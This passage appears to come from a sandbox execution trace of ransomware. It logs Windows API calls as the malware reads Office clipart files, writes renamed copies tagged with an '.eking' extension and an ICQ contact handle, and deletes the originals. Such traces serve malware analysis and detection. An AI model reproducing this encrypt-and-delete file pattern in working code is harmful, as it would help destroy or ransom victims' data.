Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0268.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0268.841] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0268.842] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0268.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x380 [0268.843] ReadFile (in: hFile=0x3a8, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x73bc, lpOverlapped=0x0) returned 1 [0268.942] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x73c0, lpOverlapped=0x0) returned 1 [0268.944] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0268.944] CloseHandle (hObject=0x3a8) returned 1 [0268.944] CloseHandle (hObject=0x380) returned 1 [0268.944] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 0 [0268.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0269.184] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=17584) returned 1 [0269.184] CloseHandle (hObject=0x380) returned 1 [0269.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x220 [0269.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x220 [0269.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0269.185] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.185] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x364 [0269.192] ReadFile (in: hFile=0x380, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x44b0, lpOverlapped=0x0) returned 1 [0269.216] WriteFile (in: hFile=0x364, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x44c0, lpOverlapped=0x0) returned 1 [0269.218] WriteFile (in: hFile=0x364, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0269.219] CloseHandle (hObject=0x380) returned 1 [0269.219] CloseHandle (hObject=0x364) returned 1 [0269.219] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 0 [0269.220] SetEvent (hEvent=0x2b8) returned 1 [0269.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0269.221] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2952) returned 1 [0269.221] CloseHandle (hObject=0x364) returned 1 [0269.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x220 [0269.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x220 [0269.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0269.223] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.223] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x380 [0269.224] ReadFile (in: hFile=0x364, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xb88, lpOverlapped=0x0) returned 1 [0269.304] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xb90, lpOverlapped=0x0) returned 1 [0269.306] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0269.306] CloseHandle (hObject=0x364) returned 1 [0269.306] CloseHandle (hObject=0x380) returned 1 [0269.307] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 0 [0269.307] SetEvent (hEvent=0x2b8) returned 1 [0269.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0269.310] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=20784) returned 1 [0269.311] CloseHandle (hObject=0x380) returned 1 [0269.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x220 [0269.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x220 [0269.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0269.312] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.312] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x364 [0269.313] ReadFile (in: hFile=0x380, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x5130, lpOverlapped=0x0) returned 1 [0269.337] WriteFile (in: hFile=0x364, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x5140, lpOverlapped=0x0) returned 1 [0269.339] WriteFile (in: hFile=0x364, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0269.339] CloseHandle (hObject=0x380) returned 1 [0269.340] CloseHandle (hObject=0x364) returned 1 [0269.340] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 0 [0269.340] SetEvent (hEvent=0x2b8) returned 1 [0269.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0269.342] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2226) returned 1 [0269.342] CloseHandle (hObject=0x364) returned 1 [0269.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x220 [0269.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x220 [0269.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0269.344] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.344] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x380 [0269.345] ReadFile (in: hFile=0x364, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x8b2, lpOverlapped=0x0) returned 1 [0269.354] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x8c0, lpOverlapped=0x0) returned 1 [0269.356] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0269.356] CloseHandle (hObject=0x364) returned 1 [0269.356] CloseHandle (hObject=0x380) returned 1 [0269.356] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 0 [0269.357] SetEvent (hEvent=0x2b8) returned 1 [0269.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0269.358] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=14820) returned 1 [0269.358] CloseHandle (hObject=0x380) returned 1 [0269.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x220 [0269.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x220 [0269.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0269.360] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.360] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x364 [0269.362] ReadFile (in: hFile=0x380, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x39e4, lpOverlapped=0x0) returned 1 [0269.383] WriteFile (in: hFile=0x364, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x39f0, lpOverlapped=0x0) returned 1 [0269.384] WriteFile (in: hFile=0x364, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0269.384] CloseHandle (hObject=0x380) returned 1 [0269.385] CloseHandle (hObject=0x364) returned 1 [0269.385] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 0 [0269.385] SetEvent (hEvent=0x2b8) returned 1 [0269.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0269.387] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3692) returned 1 [0269.387] CloseHandle (hObject=0x364) returned 1 [0269.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x220 [0269.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x220 [0269.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0269.388] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.388] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x380 [0269.389] ReadFile (in: hFile=0x364, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xe6c, lpOverlapped=0x0) returned 1 [0269.422] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xe70, lpOverlapped=0x0) returned 1 [0269.423] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0269.424] CloseHandle (hObject=0x364) returned 1 [0269.424] CloseHandle (hObject=0x380) returned 1 [0269.424] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 0 [0269.425] SetEvent (hEvent=0x2b8) returned 1 [0269.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0269.427] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3632) returned 1 [0269.427] CloseHandle (hObject=0x380) returned 1 [0269.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x220 [0269.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x220 [0269.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0269.428] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.428] SetFilePointerEx (in: 